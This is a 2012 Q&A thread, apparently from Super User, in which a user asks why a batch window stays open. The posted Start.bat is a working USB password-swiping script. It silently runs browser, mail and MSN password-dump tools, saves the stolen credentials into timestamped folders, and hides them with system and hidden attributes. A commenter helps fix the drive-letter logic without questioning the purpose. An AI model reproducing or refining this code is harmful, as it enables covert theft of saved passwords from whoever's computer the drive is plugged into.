0
I have figured out what part of the code is doing this but dont know how to fix it... Here's the code:
Set _Path=Private
For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I
If "%_Attribs:~4,1%"=="H" (
Attrib -S -H "%_Path%"
Attrib /D /S -S -H "%_Path%"\*.*
) Else (
Attrib +S +H "%_Path%"
Attrib /D /S +S +H "%_Path%"\*.*
)
The batch does what it is ment to do right at the second it is executed but the cmd window stays open for 46 seconds and then quits (because i went taskkill /IM cmd.exe).
Please help!
P.s. if you want me to post all the code (which is a lot) then i will. I might have problems explaining it but i will try my best.
All the code is as followed:
I start Pre-Unhide.bat (No problems here)
@echo off cd /d %~d0\ cd SwIPer start /min Start.bat cd.. call Unhide.bat
Start.bat is this:
@echo off for /F " tokens=1,2,3* delims=/, " %%i IN ('date /T') DO ( set CUR_DAY_OF_WEEK=%%i set CUR_MONTH=%%j set CUR_DAY=%%k set CUR_YEAR=%%l) for /F " tokens=1,2,3* delims=:, " %%i IN ('time /T') DO ( set CUR_HOUR=%%i set CUR_MIN=%%j set AM_PM=%%k) cd /d %~d0\ cd %~d0\SwIPer md "%~d0\SwIPer\%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" start /min iepv /stext IExplorer.txt start /min mailpv /stext Mail.txt start /min mspass /stext MSN.txt start /min WebBrowserPassView /stext AllBrowsers.txt echo d | xcopy MSN.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy Mail.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy AllBrowsers.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy IExplorer.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" del IExplorer.txt del Mail.txt del MSN.txt del AllBrowsers.txt
Then Pre-Unhide.bat goes on and calls Unhide.bat
@echo off Set _Path=Private For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I If "%_Attribs:~4,1%"=="H" ( Attrib -S -H "%_Path%" Attrib /D /S -S -H "%_Path%"\*.* ) Else ( Attrib +S +H "%_Path%" Attrib /D /S +S +H "%_Path%"\*.* )
(Then added this because I want it to force quit but it still waits 46 seconds to force quit)
taskkill /IM cmd.exe
Help is very much appreciated :) thanks.
First thing, start is not blocking. In other words, it does not wait for what it starts to finish before continuing. So
Start.bat
could still be running, processing, whenUnhide.bat
starts. Second thing, if your batch files are on this drive, use%~d0
to get the drive letter of the drive the batch file is on.. not that list ofif
s, which really should be avoided if possible. I've seen removable drives get assigned toD:
, internal hard drives assigned toE:
, etc. It's not safe to assume the first you come across starting fromE:
will be the same removable drive. – Bob – 2012-04-09T06:53:57.250@Bob so how would I set up the %~d0 command? please write where to put it and how to set it up. Thanks – Daniel – 2012-04-09T07:07:15.960
It's not a command, it's a special variable that contains the drive the batch file is on, in the form
<letter>:
, e.g.E:
. Actually,cd E:\
is incorrect, it should becd \d E:\
since you're changing drives. With that special variable, it would becd /d %~d0\
, replacing that whole list ofif
s. – Bob – 2012-04-09T07:18:34.410@Bob ok, i've fixed that thanks, looks much more neat! It still waits the same amount of time. I don't think it is start.bat holding it up because it only takes 1 second to complete its cycle and then quits so nothing there i dont think... maybe its the way i've called it? – Daniel – 2012-04-09T07:33:51.963
@Bob I am uploading a video to YouTube right now showing you what it is doing or not doing. Please watch it (hopefully not too laggy as i used a worse codec than usual to save on memory) The video is at http://youtu.be/Wr5NjohUcas
– Daniel – 2012-04-09T09:08:27.713